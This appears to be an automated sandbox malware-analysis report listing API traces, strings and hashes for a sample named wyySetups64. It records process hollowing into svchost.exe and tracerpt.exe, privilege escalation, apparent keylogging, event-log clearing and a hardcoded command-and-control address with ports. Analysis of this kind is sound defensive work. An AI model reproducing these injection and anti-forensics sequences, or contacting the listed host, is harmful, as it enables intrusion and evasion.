VirtualProtectEx.KERNEL32(00000000,00000000,00000118,00000001,?), ref: 03377A43
VirtualAllocEx.KERNEL32(00000000,00000000,00001000,00003000,00000040), ref: 03377A58
WriteProcessMemory.KERNEL32(00000000,00000000,033776F0,00001000,00000000), ref: 03377A72
VirtualProtectEx.KERNEL32(00000000,00000000,00001000,00000001,00000000), ref: 03377A90
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 03377AA1
Sleep.KERNEL32(0000EA60,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74DF0630), ref: 03377ABA
VirtualProtectEx.KERNEL32(00000000,00000000,00000118,00000040,00000000), ref: 03377AD6
VirtualProtectEx.KERNEL32(00000000,00000000,00001000,00000040,00000000), ref: 03377AE8
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74DF0630), ref: 03377AF1

Strings

OpenProcess, xrefs: 03377931
Windows\SysWOW64\svchost.exe, xrefs: 03377870
WinExec, xrefs: 0337795B
Windows\System32\svchost.exe, xrefs: 033778A4
WaitForSingleObject, xrefs: 03377970
D, xrefs: 03377840
ExitProcess, xrefs: 03377946
%s%s, xrefs: 03377876, 033778AA
Kernel32.dll, xrefs: 03377936, 0337794B, 03377960, 03377975

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process$Virtual$AddressLibraryLoadProcProtect_memset$AllocCreateCurrentFileMemoryOpenThreadWrite$AttributesDirectoryModuleNameRemoteResumeSleepSystemToken_vswprintf_s
String ID: %s%s$D$ExitProcess$Kernel32.dll$OpenProcess$WaitForSingleObject$WinExec$Windows\SysWOW64\svchost.exe$Windows\System32\svchost.exe
API String ID: 4176418925-3213446972
Opcode ID: 5dcc190ed11a8968de65ead4ec104ff1aab7f8516dddcbf1e59f145f84e3e168
Instruction ID: ef2c79e3460f971d2dbe383eea8204d6f267f4514c9ff1006419ea8390f002bc
Opcode Fuzzy Hash: 5dcc190ed11a8968de65ead4ec104ff1aab7f8516dddcbf1e59f145f84e3e168
Instruction Fuzzy Hash: 1C81AB71A40318BBEB31EB65DCC6FEF777CAF55B01F000499F208A6181DAB59A85CB64

Function 00BD5820 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 135threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BD5849
_memset.LIBCMT ref: 00BD5868
_memset.LIBCMT ref: 00BD589D
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 00BD58B1

Part of subcall function 00BD59E0: _vswprintf_s.LIBCMT ref: 00BD59F1

GetFileAttributesA.KERNEL32(?), ref: 00BD58E0
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 00BD5928
VirtualAllocEx.KERNEL32(?,00000000,000311BF,00003000,00000040,74DF0630), ref: 00BD594E
WriteProcessMemory.KERNEL32(?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 00BD5968
GetThreadContext.KERNEL32(?,?,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 00BD5987
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 00BD59A2
ResumeThread.KERNEL32(?,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 00BD59C1

Strings

Windows\System32\tracerpt.exe, xrefs: 00BD58EB
D, xrefs: 00BD587C
%s%s, xrefs: 00BD58C3, 00BD58F7
Windows\SysWOW64\tracerpt.exe, xrefs: 00BD58BD

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: %s%s$D$Windows\SysWOW64\tracerpt.exe$Windows\System32\tracerpt.exe
API String ID: 2170139861-1986163084
Opcode ID: 7f357ba072bc857090fd5b0fbbb14f07b3d2abcfd96e757d81b72d703a432c45
Instruction ID: 11d5d3ca9b450deea00908394bcddca610665518a035eaf375c5d9b037f645d5
Opcode Fuzzy Hash: 7f357ba072bc857090fd5b0fbbb14f07b3d2abcfd96e757d81b72d703a432c45
Instruction Fuzzy Hash: B84187B0A40348ABD730DF60DC95FAAB7F8EF54704F1045DDB64DAB281EBB49A848B54

Function 03377E50 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 131threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03377E73
_memset.LIBCMT ref: 03377E9F
_memset.LIBCMT ref: 03377ED4
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 03377EE8

Part of subcall function 03378720: _vswprintf_s.LIBCMT ref: 03378731

GetFileAttributesA.KERNEL32(?), ref: 03377F15
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 03377F65
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 03377F92
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00003000,00000040), ref: 03377FAA
GetThreadContext.KERNEL32(?,?,?,00000000,?,00003000,00000040), ref: 03377FCC
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,00003000,00000040), ref: 03377FEA
ResumeThread.KERNEL32(?,?,00000000,?,00003000,00000040), ref: 03377FFF

Strings

Windows\SysWOW64\svchost.exe, xrefs: 03377EEE
D, xrefs: 03377EB3
Windows\System32\svchost.exe, xrefs: 03377F26
%s%s, xrefs: 03377EFA, 03377F2C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: %s%s$D$Windows\SysWOW64\svchost.exe$Windows\System32\svchost.exe
API String ID: 2170139861-2473635271
Opcode ID: fbcdf503b7dbf8d565d2570f6e828b915fdf3b041ef2bec219243f37c7cdfb86
Instruction ID: 0efddd24823af2a794ab3ab07f217c9a31700f6e9cf7aec40db31b292e8333da
Opcode Fuzzy Hash: fbcdf503b7dbf8d565d2570f6e828b915fdf3b041ef2bec219243f37c7cdfb86
Instruction Fuzzy Hash: 844163B5A40358ABDB31EB61DCC5FEE77BCAB44700F0042D9F609E6280DAB59A85CF54

Function 0337E4F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 143synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,033A0D80,74DEE010,74DF2FA0,74DF0F00,?,03376028,?,?), ref: 0337E519
lstrcatW.KERNEL32(033A0D80,\DisplaySessionContainers.log,?,03376028,?,?), ref: 0337E529
CreateMutexW.KERNEL32(00000000,00000000,033A0D80,?,03376028,?,?), ref: 0337E538
WaitForSingleObject.KERNEL32(00000000,000000FF,?,03376028,?,?), ref: 0337E546
CreateFileW.KERNEL32(033A0D80,40000000,00000002,00000000,00000004,00000080,00000000,?,03376028,?,?), ref: 0337E563
GetFileSize.KERNEL32(00000000,00000000,?,03376028,?,?), ref: 0337E56E
CloseHandle.KERNEL32(00000000,?,03376028,?,?), ref: 0337E577
DeleteFileW.KERNEL32(033A0D80,?,03376028,?,?), ref: 0337E58A
ReleaseMutex.KERNEL32(00000000,?,03376028,?,?), ref: 0337E597
DirectInput8Create.DINPUT8(?,00000800,03394934,033A1220,00000000,?,03376028,?,?), ref: 0337E5B2
GetTickCount.KERNEL32 ref: 0337E665
GetKeyState.USER32(00000014), ref: 0337E672

Strings

\DisplaySessionContainers.log, xrefs: 0337E51F
<, xrefs: 0337E637

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateFile$Mutex$CloseCountDeleteDirectFolderHandleInput8ObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\DisplaySessionContainers.log
API String ID: 1095970075-1170057892
Opcode ID: 644e7532f0b3a29fdbc054878ca5cf5618fea044dd00ba79ea38cebe9bbcb3c1
Instruction ID: 39bd738932040f11f744bc905652a847c6230e02af6a0ab8774adb933c8971ce
Opcode Fuzzy Hash: 644e7532f0b3a29fdbc054878ca5cf5618fea044dd00ba79ea38cebe9bbcb3c1
Instruction Fuzzy Hash: B641CD34B40609AFD724EFA8ECC9F9E7BA8EB48710F10444AF615DB284C676E801CB94

Function 03377620 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?,?,?,?,?,?,?,?,0337DFA4), ref: 03377637
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,0337DFA4), ref: 0337763E
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0337765A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03377677
CloseHandle.KERNEL32(?), ref: 03377681
GetModuleHandleA.KERNEL32(NtDll.dll,NtSetInformationProcess,?,?,?,?,?,?,?,0337DFA4), ref: 03377691
GetProcAddress.KERNEL32(00000000), ref: 03377698
GetCurrentProcessId.KERNEL32 ref: 033776BA
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 033776C7

Strings

NtSetInformationProcess, xrefs: 03377687
SeDebugPrivilege, xrefs: 0337764C
NtDll.dll, xrefs: 0337768C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process$CurrentHandleOpenToken$AddressAdjustCloseLookupModulePrivilegePrivilegesProcValue
String ID: NtDll.dll$NtSetInformationProcess$SeDebugPrivilege
API String ID: 1802016953-1577477132
Opcode ID: 7e85a674188e04c771e0fb5d2b5cbd052515cb5f4d24d4191627ed1f2a2d565b
Instruction ID: 5559f4f63baab61f1b6dc90e07ac053824a390216aa85021e1efba4dd32ba59b
Opcode Fuzzy Hash: 7e85a674188e04c771e0fb5d2b5cbd052515cb5f4d24d4191627ed1f2a2d565b
Instruction Fuzzy Hash: 45212171A4030CFBEB10EBA4DC8AFBF777CEB08701F41454AF605EA285DAB955448BA5

Function 0338054D Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 92memorylibraryloaderCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03380576
GetSystemInfo.KERNEL32(?), ref: 0338058E
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0338059E
GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 033805AE
VirtualAlloc.KERNEL32(?,-00000001,00001000,00000004), ref: 03380600
VirtualProtect.KERNEL32(?,-00000001,00000104,?), ref: 03380615

Strings

kernel32.dll, xrefs: 03380597
SetThreadStackGuarantee, xrefs: 033805A8

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Virtual$AddressAllocHandleInfoModuleProcProtectQuerySystem
String ID: SetThreadStackGuarantee$kernel32.dll
API String ID: 3290314748-423161677
Opcode ID: 3f32f1d3132cfcc097e72fc2d4289f4952ef9b19a556e309b304ac1ad6b20b05
Instruction ID: 0da4eb69cdb1198a8f6426857c563e51a79ab2cf51561822a51ce294c5fe833f
Opcode Fuzzy Hash: 3f32f1d3132cfcc097e72fc2d4289f4952ef9b19a556e309b304ac1ad6b20b05
Instruction Fuzzy Hash: 6E31AE72E4171EFBDB20EBA4DCC4AAFB7B8EB44745F140426E511E7040DB74AA08CBA0

Function 03377B70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 03377B89
OpenProcessToken.ADVAPI32(00000000), ref: 03377B90
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03377BB6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03377BCC
GetLastError.KERNEL32 ref: 03377BD2
CloseHandle.KERNEL32(?), ref: 03377BE0
CloseHandle.KERNEL32(?), ref: 03377BFB

Strings

SeShutdownPrivilege, xrefs: 03377BA2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3435690185-3733053543
Opcode ID: f5c6d61a6e03915fbdf35c9edf01cd76353b99ebd9edc1cb7192700596aeeb9e
Instruction ID: c65be4b1da05fad45b0fc5cd99c206e623ff85a534d02d17ed4a5df62b685ae8
Opcode Fuzzy Hash: f5c6d61a6e03915fbdf35c9edf01cd76353b99ebd9edc1cb7192700596aeeb9e
Instruction Fuzzy Hash: B3115871A4020CEBDB14EFA4DC89FAF777CEB08701F41455AF905DB284DA759905C7A0

Function 0337B3C0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

OpenEventLogW.ADVAPI32(00000000,033958BC), ref: 0337B3E7
ClearEventLogW.ADVAPI32(00000000,00000000), ref: 0337B3F2
CloseEventLog.ADVAPI32(00000000), ref: 0337B3F9

Strings

System, xrefs: 0337B3D6
Application, xrefs: 0337B3C6
Security, xrefs: 0337B3CE

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: Application$Security$System
API String ID: 1391105993-2169399579
Opcode ID: 3a42fb1bf29231aa3c0f7dabac58ebb20baa278d025b9a26dadbe66ae6bd2fd4
Instruction ID: 56971d59be1c9a05f58d0dd212cf57cd952209ae091aba221585f448a1398683
Opcode Fuzzy Hash: 3a42fb1bf29231aa3c0f7dabac58ebb20baa278d025b9a26dadbe66ae6bd2fd4
Instruction Fuzzy Hash: DFE0E53670A618DBF222EB05A8C871FF3E4FBC9306F05054BE94896204C63484858B96

Function 031F660F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 031F66A0
swprintf.LIBCMT ref: 031F66F8
swprintf.LIBCMT ref: 031F670B

Strings

:, xrefs: 031F663F
@, xrefs: 031F66AC

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: swprintf$_memset
String ID: :$@
API String ID: 1292703666-1367939426
Opcode ID: 3ce09b44c703f379a6cffab786f078c12705430181853880a2577985a84515e9
Instruction ID: f437ff25ce60d917dc5b68a65ac45e916bef3be16ba3762f1a678065e1fa3059
Opcode Fuzzy Hash: 3ce09b44c703f379a6cffab786f078c12705430181853880a2577985a84515e9
Instruction Fuzzy Hash: 95315EB6D0021CABDB14CBE5CC85FEEB7B9FB88300F504219EA0AAB241E7746945CB54

Function 03377740 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,033778FC), ref: 03377756
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,033778FC,?,?,?,?,?,?,74DF0630), ref: 0337775D
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 03377785
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 033777B9

Strings

SeDebugPrivilege, xrefs: 0337777E

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 2349140579-2896544425
Opcode ID: e4ccc0fbdc6df97e8a79a20a1dac739f66ce4f72828ca6d1a0eae5381b111eaf
Instruction ID: 90f5f83d7abd02ee94d61a5f2fdc14907cfa271533daabdcb13be77b6da8e480
Opcode Fuzzy Hash: e4ccc0fbdc6df97e8a79a20a1dac739f66ce4f72828ca6d1a0eae5381b111eaf
Instruction Fuzzy Hash: 91110071A4020CEBDB14DFA5D88ABFEB7B8EB48704F114559E505EB280DA799505CB60

Function 00BD6815 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00BD793D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BD7952
UnhandledExceptionFilter.KERNEL32(00BE5350), ref: 00BD795D
GetCurrentProcess.KERNEL32(C0000409), ref: 00BD7979
TerminateProcess.KERNEL32(00000000), ref: 00BD7980

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b61855fa94e40dc3abb09400e911f03a36072edf8dabeada87b5b262400841c5
Instruction ID: 71e98e049e8562ddeb1a309a7489f0eb371392b9f84ff8e67cab2a4e2a2b9960
Opcode Fuzzy Hash: b61855fa94e40dc3abb09400e911f03a36072edf8dabeada87b5b262400841c5
Instruction Fuzzy Hash: 1521CAB8814284EFD711DF69EDCA6587BA8FB08348F61515AE5099F360EFB479808F02

Function 0337F00A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0338131C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 03381331
UnhandledExceptionFilter.KERNEL32(033925B8), ref: 0338133C
GetCurrentProcess.KERNEL32(C0000409), ref: 03381358
TerminateProcess.KERNEL32(00000000), ref: 0338135F

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: d5842853d8f613967df0e2540a355572f0cca3f8767556ec79320d9dd05d8e11
Instruction ID: 6f413024722667e83f48d5a7fd481faa876ef2f492c1c74eab9583fe0be94ab8
Opcode Fuzzy Hash: d5842853d8f613967df0e2540a355572f0cca3f8767556ec79320d9dd05d8e11
Instruction Fuzzy Hash: 0821CEB9944309EFD750FF28F5C46493BACBB08706F50845BE908DA388EBB29990CF55

Function 0337B43F Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03377B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 03377B89
Part of subcall function 03377B70: OpenProcessToken.ADVAPI32(00000000), ref: 03377B90
Part of subcall function 03377B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03377BB6
Part of subcall function 03377B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03377BCC
Part of subcall function 03377B70: GetLastError.KERNEL32 ref: 03377BD2
Part of subcall function 03377B70: CloseHandle.KERNEL32(?), ref: 03377BE0

ExitWindowsEx.USER32(00000006,00000000), ref: 0337B44D

Part of subcall function 03377B70: CloseHandle.KERNEL32(?), ref: 03377BFB

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 8b737351b07e6f2264788998ca3f68492156df8bd6d7eb81968dbbba28c83b1a
Instruction ID: f1e2ae199e12250900544d3b63c061d44545349f2140e2290d44e0a24f38c0e5
Opcode Fuzzy Hash: 8b737351b07e6f2264788998ca3f68492156df8bd6d7eb81968dbbba28c83b1a
Instruction Fuzzy Hash: ADC08C3674020412D224B3B47CEABBBB340DB88322F00042FA60ACC1C00C5B84A041E6

Function 0337B41B Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03377B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 03377B89
Part of subcall function 03377B70: OpenProcessToken.ADVAPI32(00000000), ref: 03377B90
Part of subcall function 03377B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03377BB6
Part of subcall function 03377B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03377BCC
Part of subcall function 03377B70: GetLastError.KERNEL32 ref: 03377BD2
Part of subcall function 03377B70: CloseHandle.KERNEL32(?), ref: 03377BE0

ExitWindowsEx.USER32(00000004,00000000), ref: 0337B429

Part of subcall function 03377B70: CloseHandle.KERNEL32(?), ref: 03377BFB

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: f5d7cf2b64d21f224ac4706b36e82e74800c5c8421cc03c38b8da2b48a494b79
Instruction ID: f58cf54e1616e0cdeda81d97be01292a68c77dbb387452775cc68cfac20ab8af
Opcode Fuzzy Hash: f5d7cf2b64d21f224ac4706b36e82e74800c5c8421cc03c38b8da2b48a494b79
Instruction Fuzzy Hash: B1C08C3674020416D224B3B47CEABBAB340DB88322F00042FA70ACC1C00C6B849001EA

Function 0337B463 Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03377B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 03377B89
Part of subcall function 03377B70: OpenProcessToken.ADVAPI32(00000000), ref: 03377B90
Part of subcall function 03377B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03377BB6
Part of subcall function 03377B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03377BCC
Part of subcall function 03377B70: GetLastError.KERNEL32 ref: 03377BD2
Part of subcall function 03377B70: CloseHandle.KERNEL32(?), ref: 03377BE0

ExitWindowsEx.USER32(00000005,00000000), ref: 0337B471

Part of subcall function 03377B70: CloseHandle.KERNEL32(?), ref: 03377BFB

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: fc5727b044b09dc24563f5426f54aef74a9645fb7906891e41c46ee0aee87f83
Instruction ID: d740a3025c6e71df23cd2ba68c0341f5cc9732015878c634cddd76a971118d56
Opcode Fuzzy Hash: fc5727b044b09dc24563f5426f54aef74a9645fb7906891e41c46ee0aee87f83
Instruction Fuzzy Hash: 3FC08C3674020412D224B3B47CEABBBB344DB88322F00042FA70ACC1C00C5B849001E6

Function 0337B556 Relevance: 43.9, APIs: 8, Strings: 17, Instructions: 161registrysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002,?), ref: 0337B586
RegDeleteValueW.ADVAPI32(?,IpDate), ref: 0337B596
RegSetValueExW.ADVAPI32(?,IpDate,00000000,00000003,00000002,?), ref: 0337B5B3
_memset.LIBCMT ref: 0337B5D4
RegCloseKey.ADVAPI32(?), ref: 0337B61B
_memset.LIBCMT ref: 0337B63C
RegCloseKey.ADVAPI32(?), ref: 0337B72C
Sleep.KERNEL32(000007D0), ref: 0337B737

Part of subcall function 0337F707: std::exception::exception.LIBCMT ref: 0337F756
Part of subcall function 0337F707: std::exception::exception.LIBCMT ref: 0337F770
Part of subcall function 0337F707: __CxxThrowException@8.LIBCMT ref: 0337F781

Strings

p1:, xrefs: 0337B683
IpDate, xrefs: 0337B590, 0337B5AD
118.107.44.219, xrefs: 0337B6ED
t1:, xrefs: 0337B6A7
19093, xrefs: 0337B6FF
p3:, xrefs: 0337B6F2
o1:, xrefs: 0337B695
19092, xrefs: 0337B6C9
Console, xrefs: 0337B57C
p2:, xrefs: 0337B6B9
19091, xrefs: 0337B690
o3:, xrefs: 0337B704
t2:, xrefs: 0337B6E0
118.107.44.219, xrefs: 0337B6B4
t3:, xrefs: 0337B719
118.107.44.219, xrefs: 0337B67E
o2:, xrefs: 0337B6CE

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseValue_memsetstd::exception::exception$DeleteException@8OpenSleepThrow_malloc
String ID: 118.107.44.219$118.107.44.219$118.107.44.219$19091$19092$19093$Console$IpDate$o1:$o2:$o3:$p1:$p2:$p3:$t1:$t2:$t3:
API String ID: 1186799303-3661167401
Opcode ID: 1025fd862e930a853bfda252ff0679b5c0133f7a1bff18c042bfb7aedf08217c
Instruction ID: 4f81920fe94f019e33306e3046504d8e2974960b609408745602b13497b642fc
Opcode Fuzzy Hash: 1025fd862e930a853bfda252ff0679b5c0133f7a1bff18c042bfb7aedf08217c
